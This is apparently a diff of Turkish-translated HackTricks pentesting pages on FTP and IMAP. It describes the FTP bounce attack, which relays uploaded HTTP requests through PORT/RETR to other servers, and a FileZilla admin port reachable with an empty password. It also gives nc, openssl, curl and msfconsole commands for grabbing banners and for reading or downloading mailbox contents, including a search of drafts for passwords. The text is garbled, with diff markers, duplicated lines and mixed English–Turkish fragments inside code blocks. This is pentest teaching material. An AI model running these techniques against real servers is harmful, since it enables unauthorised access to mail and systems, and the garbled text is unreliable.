* **`EPRT |2|127.0.0.1|80|`** Bu, FTP sunucusuna 127.0.0.1 IP adresinde 80 numaralı bir TCP bağlantısı (_"2" ile belirtilir_) kurmasını söyler. Bu komut **IPv6'yı destekler**.
* \*\*`PORT 127,0,0,1,0,80`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta bağlantı kurmasını söyler (_5. karakteri "0" ve 6. karakteri portu ondalık olarak belirtmelisiniz veya 5. ve 6. karakterleri kullanarak portu onaltılık olarak ifade edebilirsiniz_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta TCP bağlantısı kurmasını söyler (_"2" ile belirtilir_). Bu komut **IPv6'ı destekler**.
* **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir
* **`LIST -R`** Yinelemeli olarak listeler (sunucu tarafından izin verilirse)
* **`LIST -R`** Yinelemeli olarak listeler (sunucu izin veriyorsa)
* **`APPE /yol/birşey.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya bir **PORT/EPRT** bağlantısından gelen verileri bir dosyaya kaydetmesini söyler. Dosya adı varsa, verileri ekler.
* **`STOR /yol/birşey.txt`** `APPE` gibi ancak dosyaları üzerine yazar
* **`STOU /yol/birşey.txt`** `APPE` gibi, ancak varsa hiçbir şey yapmaz.
* **`RETR /yol/dosya`** Pasif veya port bağlantısı kurulmalıdır. Ardından, FTP sunucusu belirtilen dosyayı bu bağlantı üzerinden gönderir
* **`REST 6`** Bu, sunucuya, bir sonraki seferinde `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini belirtir.
* **`TYPE i`** Aktarımı ikili olarak ayarlar
* **`PASV`** Bu, pasif bir bağlantı açar ve kullanıcıya bağlanabileceği yeri gösterir
* **`RETR /dosya/yol`** Bir pasif veya port bağlantısı kurulmalıdır. Daha sonra, FTP sunucusu belirtilen dosyayı o bağlantı üzerinden gönderir
* **`REST 6`** Bu, sunucuya bir sonraki sefer `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini söyler.
* **`TYPE i`** Transferi ikili olarak ayarlar
* **`PASV`** Bu, pasif bir bağlantı açacak ve kullanıcıya nereye bağlanabileceğini gösterecektir
* **`PUT /tmp/dosya.txt`** Belirtilen dosyayı FTP'ye yükler
![](<../../.gitbook/assets/image (227).png>)
## FTPBounce saldırısı
Bazı FTP sunucuları PORT komutuna izin verir. Bu komut, bir sunucunun başka bir FTP sunucusuna belirli bir portta bağlanmak istediğini belirtmek için kullanılabilir. Ardından, bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için bunu kullanabilirsiniz.
Bazı FTP sunucuları `PORT` komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir porta bağlanmak istediğinizi belirtmek için kullanılabilir. Sonra, bu bilgiyi kullanarak bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için kullanabilirsiniz.
[**Buradan bir FTP sunucusunu taramak için FTP sunucusunu kötüye kullanmayı öğrenin.**](ftp-bounce-attack.md)
[**Buradan bir FTP sunucusunu port taraması yapmak için nasıl kötüye kullanabileceğinizi öğrenin.**](ftp-bounce-attack.md)
Bu davranışı kötüye kullanarak bir FTP sunucusunu başka protokollerle etkileşime sokabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve güvenlik açığına sahip FTP sunucusunun bunu bir keyfi HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcısı eklemek için?_) veya bir FTP isteği yükleyebilir ve güvenlik açığına sahip FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Teorisi basittir:
Bu davranışı kötüye kullanarak bir FTP sunucusunu başka protokollerle etkileşime girmesi için de kullanabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve zayıf FTP sunucusunun bunu bir başka HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcı eklemek için?_) veya hatta bir FTP isteği yükleyebilir ve zayıf FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Teori basittir:
1. **İsteği (bir metin dosyasının içine) güvenlik açığına sahip sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, `0x0d 0x0a` ile satırları değiştirmeniz gerektiğini unutmayın.
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosyanın içine yüklemek için başlangıçta bazı görüntü başlığı koymak zorunda kaldınız)
3. **Arbitrary sunucu ve servise bağlanmak için `PORT` kullanın**
1. **İsteği (bir metin dosyası içinde) zayıf sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla iletişim kurmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerekir
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosyanın içine yüklemek için başlangıçta bazı görüntü başlığı eklemeniz gerekiyordur)
3. **Arbitrary sunucuya ve servise bağlanmak için `PORT` kullanın**
4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.**
Bu, **_Socket not writable_** gibi bir hata verecektir, çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez. Bunu önlemek için denenebilecek öneriler şunlardır:
* Bir HTTP isteği gönderiyorsanız, en azından **\~0.5MB** kadar **aynı isteği birbirinden sonra koyun**. Böyle yapın:
Bu **muhtemelen** _**Yazılabilir soket değil**_ **gibi bir hata verecektir çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunu önlemek için deneyebileceğiniz öneriler şunlardır:
* Bir HTTP isteği gönderiyorsanız, **en azından \~0.5MB'ye kadar aynı isteği tekrarlayın**. Şöyle:
{% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt
{% endfile %}
* İsteği, protokole göre **"boş" verilerle doldurmaya çalışın** (FTP ile konuşurken sadece boş komutlar veya `RETR` talimatını tekrarlayarak dosyayı almak)
* İsteği sadece **çok sayıda null karakter veya diğerleriyle doldurun** (satırlara veya satırlara bölünmüş)
* İsteği **protokole göre "gereksiz" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece gereksiz komutlar veya dosyayı almak için `RETR` komutunu tekrarlayın)
* İsteği **çok sayıda null karakter veya başka karakterlerle doldurun** (satırlara veya satırlara bölünmüş olsun)
Neyse, burada [bir FTP sunucusunun başka bir FTP sunucusundan bir dosya indirmesini sağlamak için bunu kötüye kullanma hakkında eski bir örnek](ftp-bounce-download-2oftp-file.md) bulunmaktadır.
Neyse, burada bir [FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesi için bunu nasıl kötüye kullanabileceğinize dair eski bir örnek](ftp-bounce-download-2oftp-file.md) bulunmaktadır.
## Filezilla Sunucusu Güvenlik Açığı
## Filezilla Sunucu Güvenlik Açığı
**FileZilla**, genellikle **FileZilla Sunucusu** için bir **Yönetici hizmetini** yerel olarak **bağlar** (port 14147). Bu bağlantı noktasına erişmek için **makinenizden** bir **tünel** oluşturabilirseniz, FTP hizmeti için bir **yeni kullanıcı** oluşturmak için **boş bir şifre** kullanarak **buna** bağlanabilirsiniz.
**FileZilla** genellikle **yerel** bir **Yönetimsel hizmet** için **FileZilla-Sunucusuna** (port 14147) **bağlanır**. Bu porta erişmek için **kendi makinenizden bir tünel oluşturabilirseniz**, FTP hizmeti için **boş bir şifre** kullanarak **bağlanabilir** ve **FTP hizmeti için yeni bir kullanıcı oluşturabilirsiniz**.
## Yapılandırma dosyaları
```
@ -228,32 +194,26 @@ ftp.conf
proftpd.conf
vsftpd.conf
```
### Sonrası Sızma
### Saldırı Sonrası
vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabilir. Burada bazı tehlikeli ayarlar bulunabilir:
vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabilir. Burada bazı tehlikeli ayarlar bulabilirsiniz:
* `anonymous_enable=YES`
* `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES`
* `anon_root=/home/kullaniciadi/ftp` - Anonim için dizin.
* `chown_uploads=YES` - Anonim olarak yüklenen dosyaların sahipliğini değiştirir.
* `chown_username=kullaniciadi` - Anonim olarak yüklenen dosyaların sahipliği verilen kullanıcıya aittir.
* `local_enable=YES` - Yerel kullanıcıların giriş yapmasına izin verir.
* `no_anon_password=YES` - Anonimden şifre isteme.
* `write_enable=YES` - STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE komutlarına izin verir.
* `anon_root=/home/username/ftp` - Anonim için dizin.
* `chown_uploads=YES` - Anonim olarak yüklenen dosyaların sahipliğini değiştir
* `chown_username=username` - Anonim olarak yüklenen dosyaların sahipliğini alan kullanıcı
* `local_enable=YES` - Yerel kullanıcıların giriş yapmasına izin ver
* `no_anon_password=YES` - Anonimden şifre isteme
* `write_enable=YES` - Komutlara izin ver: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE
### Shodan
* `ftp`
* `port:21`
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zafiyetleri bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
***
## HackTricks Otomatik Komutları
```
@ -309,12 +269,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
```
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter'da takip edin** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile.**
</details>

View file

@ -2,47 +2,31 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
## Internet Message Access Protocol
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
**Internet Message Access Protocol (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak amacıyla tasarlanmıştır**, genellikle bir İnternet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireyin kişisel cihazına indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **çoklu cihazlardan** e-postaları kontrol etme kolaylığını sağlar, kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmadığından emin olur.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
IMAP protokolü varsayılan olarak iki port üzerinde çalışır:
***
## Internet Mesaj Erişim Protokolü
**Internet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini** sağlamak amacıyla tasarlanmıştır, öncelikle bir İnternet bağlantısı aracılığıyla. Temel olarak, e-postalar, bireyin kişisel cihazına indirilip depolanmak yerine bir sunucuda **saklanır**. Bu, bir e-posta erişildiğinde veya okunduğunda, bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, kullanılan cihaza bakılmaksızın e-postaların **çoklu cihazlardan** kontrol edilmesini sağlar, böylece hiçbir mesaj gözden kaçmaz.
Varsayılan olarak, IMAP protokolü iki bağlantı noktasında çalışır:
* **Port 143** - bu, varsayılan IMAP şifrelenmemiş bağlantı noktasıdır
* **Port 993** - IMAP ile güvenli bir şekilde bağlanmak istiyorsanız kullanmanız gereken bağlantı noktasıdır
* **Port 143** - bu, varsayılan IMAP şifrelenmemiş portudur
* **Port 993** - bu, IMAP'ı güvenli bir şekilde kullanarak bağlanmak istediğiniz porttur
```
PORT STATE SERVICE REASON
143/tcp open imap syn-ack
```
## Banner yakalama
Banner yakalama, bir hedef IMAP sunucusuyla iletişim kurarken sunucunun banner mesajını almak için kullanılan bir tekniktir. Banner mesajı, sunucunun kendisini tanıttığı ve genellikle sunucu yazılımının ve sürümünün bilgisini içerir. Bu bilgi, saldırganın hedef sistem hakkında daha fazla bilgi edinmesine yardımcı olabilir.
Banner yakalama işlemi genellikle bir IMAP istemcisi kullanılarak gerçekleştirilir. İstemci, sunucuya bağlandığında sunucudan gelen banner mesajını alır. Bu mesaj, istemci tarafından okunabilir ve analiz edilebilir.
Banner yakalama, saldırganın hedef sistemdeki zayıf noktaları belirlemesine yardımcı olabilir. Örneğin, sunucu yazılımının eski bir sürümünü kullanıyorsa, bu sürümde bilinen bir güvenlik açığı olabilir. Saldırgan, bu bilgiyi kullanarak hedef sistemdeki bir saldırı vektörü belirleyebilir.
Banner yakalama işlemi, bir IMAP sunucusunun güvenlik durumunu değerlendirmek için kullanılan bir adımdır. Ancak, bu tekniğin yasal ve etik sınırlar içinde kullanılması önemlidir. Sadece izinli sistemler üzerinde gerçekleştirilmelidir ve hedef sistem sahibinin izni olmadan yapılmamalıdır.
```bash
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
@ -58,13 +42,13 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatikleştirin**.
Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatize** edin
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
## Sözdizimi
[İşte](https://donsutherland.org/crib/imap) IAMP Komutlarından örnekler:
[buradan](https://donsutherland.org/crib/imap) IMAP Komutları örnekleri:
```
Login
A1 LOGIN username password
@ -112,21 +96,6 @@ Logout
A1 LOGOUT
```
### Evrim
IMAP (Internet Message Access Protocol), elektronik posta iletişimi için kullanılan bir protokoldür. IMAP, e-posta istemcilerinin sunucu üzerindeki e-posta kutularına erişmesine ve yönetmesine olanak tanır. Bu protokol, e-posta mesajlarını sunucuda tutar ve istemciye sadece gerektiğinde iletişim kurmasını sağlar.
IMAP, POP3'e (Post Office Protocol 3) göre daha gelişmiş bir protokoldür. POP3, e-posta mesajlarını istemciye indirirken sunucuda silerken, IMAP sunucuda kopyalarını tutar ve istemciye sadece görüntülemek veya indirmek için gönderir. Bu, birden fazla cihazda e-posta erişimi sağlamak için idealdir.
IMAP protokolü, e-posta kutularını yönetmek için bir dizi komut ve yanıt kullanır. Bu komutlar, e-posta mesajlarını okuma, yazma, silme, taşıma ve klasörlere erişim gibi işlemleri gerçekleştirmek için kullanılır. IMAP sunucuları genellikle TCP üzerinden 143 numaralı portu kullanır.
IMAP protokolünü kullanarak yapılabilecek bazı saldırılar şunlardır:
- Brute force saldırıları: Kaba kuvvet saldırıları, IMAP sunucusuna giriş yapmak için kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır.
- Kimlik avı saldırıları: Kimlik avı saldırıları, kullanıcıları sahte e-posta veya web sitelerine yönlendirerek kullanıcı adı ve şifrelerini ele geçirmeyi amaçlar.
- IMAP sunucusu zafiyetleri: IMAP sunucuları, güvenlik açıklarına sahip olabilir ve bu açıklar kullanılarak saldırganlar tarafından istismar edilebilir.
- Veri sızıntısı: IMAP sunucusunda depolanan e-posta mesajları, saldırganlar tarafından ele geçirilebilir ve hassas bilgilerin sızdırılmasına neden olabilir.
IMAP protokolünü anlamak ve güvenlik açıklarını tespit etmek, bir ağ hizmeti pentestinde önemli bir adımdır. Bu, saldırganların e-posta sunucusuna yetkisiz erişim sağlamasını ve hassas bilgilere erişmesini önlemek için yapılan bir güvenlik önlemidir.
```
apt install evolution
```
@ -134,149 +103,91 @@ apt install evolution
### CURL
Temel gezinme işlemleri [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) ile mümkündür, ancak belgeler ayrıntılardan yoksundur, bu nedenle kesin ayrıntılar için [kaynağa](https://github.com/curl/curl/blob/master/lib/imap.c) bakmanız önerilir.
Temel gezinme [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap) ile mümkündür, ancak belgeler detaylarda yetersiz olduğundan, kesin detaylar için [kaynağa](https://github.com/curl/curl/blob/master/lib/imap.c) bakılması önerilir.
1. Posta kutularını listeleme (imap komutu `LIST "" "*"`)
1. Posta kutularını listeleme (imap komutu `LIST "" "*"`)
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
2. Bir posta kutusundaki iletileri listeleme (imap komutu `SELECT INBOX` ve ardından `SEARCH ALL`)
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user kullanıcı:parola
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
Bu aramanın sonucu bir mesaj dizini listesidir.
The result of this search is a list of message indicies.
Its also possible to provide more complex search terms. e.g. searching for drafts with password in mail body:
Daha karmaşık arama terimleri de sağlanabilir. Örneğin, şifre içeren taslakları aramak:
```bash
```markdown
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
Arama terimlerinin mümkün olan güzel bir genel bakışı [burada](https://www.atmail.com/blog/imap-commands/) bulunmaktadır.
Bu komut, `1.2.3.4` IP adresine sahip bir sunucuya bağlanarak `Drafts` klasöründeki e-postaları almayı amaçlar. `--user` parametresiyle kullanıcı adı ve şifre belirtilir.
```
A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/).
3. Downloading a message (imap command `SELECT Drafts` and then `FETCH 1 BODY[]`)
3. Bir ileti indirme (imap komutu `SELECT Taslak` ve ardından `FETCH 1 BODY[]`)
```bash
```markdown
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
Posta dizini, arama işleminden dönen dizinle aynı olacaktır.
Bu komut, bir IMAP sunucusuna bağlanmak için kullanılır. `1.2.3.4` IP adresine sahip sunucunun `Drafts` klasörüne bağlanır ve `MAILINDEX=1` parametresini kullanır. `--user user:pass` ise kimlik doğrulama için kullanıcı adı ve şifreyi belirtir.
```
The mail index will be the same index returned from the search operation.
It is also possible to use `UID` (unique id) to access messages, however it is less conveniant as the search command needs to be manually formatted. E.g.
Ayrıca mesajlara erişmek için `UID` (benzersiz kimlik) kullanmak da mümkündür, ancak arama komutunun manuel olarak biçimlendirilmesi gerektiği için daha az kullanışlıdır. Örn.
```bash
```markdown
Kod parçacığındaki `curl` komutları, IMAP sunucusuna bağlanmak ve belirli eylemleri gerçekleştirmek için kullanılır. İlk komut, IMAP sunucusuna bağlanır ve tüm e-posta kimliklerini arar. İkinci komut ise belirli bir e-posta kimliğini alır.
Çeviri:
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```html
```markdown
Kod parçacığındaki `curl` komutları, IMAP sunucusuna bağlanmak ve belirli eylemleri gerçekleştirmek için kullanılır. İlk komut, IMAP sunucusuna bağlanır ve tüm e-posta kimliklerini arar. İkinci komut ise belirli bir e-posta kimliğini alır.
Çeviri:
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
```
Also, possible to download just parts of a message, e.g. subject and sender of first 5 messages (the `-v` is required to see the subject and sender):
```bash
```markdown
Ayrıca, bir iletiğin sadece belirli bölümlerini indirmek mümkündür, örneğin ilk 5 iletiğin konusu ve göndericisi (konuyu ve göndericiyi görmek için `-v` gereklidir):
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
```
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
```
```
Although, its probably cleaner to just write a little for loop:
```bash
Belki daha temiz olur, sadece küçük bir for döngüsü yazmak:
```bash
for m in {1..5}; do
echo $m
curl "imap://1.2.3.4/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done
```
Bu komut, IMAP sunucusuna bir dizi istek gönderir ve belirli bir e-posta indeksine ve başlık alanlarına erişir. İndeks numarası değişken olan `m` ile belirtilir ve 1'den 5'e kadar olan değerleri alır. İstek, `curl` komutu kullanılarak gönderilir ve kullanıcı adı ve şifre belirtilir.
```
## Shodan
* `port:143 CAPABILITY`
* `port:993 CAPABILITY`
## HackTricks Automatic Commands
* `port:143 KABİLİYET`
* `port:993 KABİLİYET`
## HackTricks Otomatik Komutları
```
Protocol_Adı: IMAP #Eğer varsa, Protokol Kısaltması.
Port_Numarası: 143,993 #Birden fazla ise, virgülle ayrılmış.
Protokol_Açıklaması: Internet Mesaj Erişim Protokolü #Protokol Kısaltması tam olarak yazılmış
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
Port_Number: 143,993 #Comma separated if there is more than one.
Protocol_Description: Internet Message Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Ad: Notlar
ıklama: WHOIS için Notlar
Not: |
Internet Mesaj Erişim Protokolü (IMAP), kullanıcıların herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak amacıyla tasarlanmıştır, öncelikle bir İnternet bağlantısı aracılığıyla. Temel olarak, e-postalar bir sunucuda saklanır ve bir bireyin kişisel cihazına indirilip depolanmak yerine sunucudan doğrudan erişilir veya okunur. Bu yetenek, birden fazla cihazdan e-postaları kontrol etme kolaylığı sağlar ve kullanılan cihaza bakılmaksızın hiçbir mesajın kaçırılmamasını sağlar.
Name: Notes
Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
Entry_2:
Ad: Banner Yakalama
ıklama: Banner Yakalama 143
Komut: nc -nv {IP} 143
Name: Banner Grab
Description: Banner Grab 143
Command: nc -nv {IP} 143
Entry_3:
Ad: Güvenli Banner Yakalama
ıklama: Banner Yakalama 993
Komut: openssl s_client -connect {IP}:993 -quiet
Name: Secure Banner Grab
Description: Banner Grab 993
Command: openssl s_client -connect {IP}:993 -quiet
Entry_4:
Ad: msfconsole'suz mfs numaralandırma
ıklama: msfconsole çalıştırmadan IMAP numaralandırma
Not: https://github.com/carlospolop/legion'dan alınmıştır
Komut: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
Name: consolesless mfs enumeration
Description: IMAP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
HackTricks'ı desteklemenin diğer yolları:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
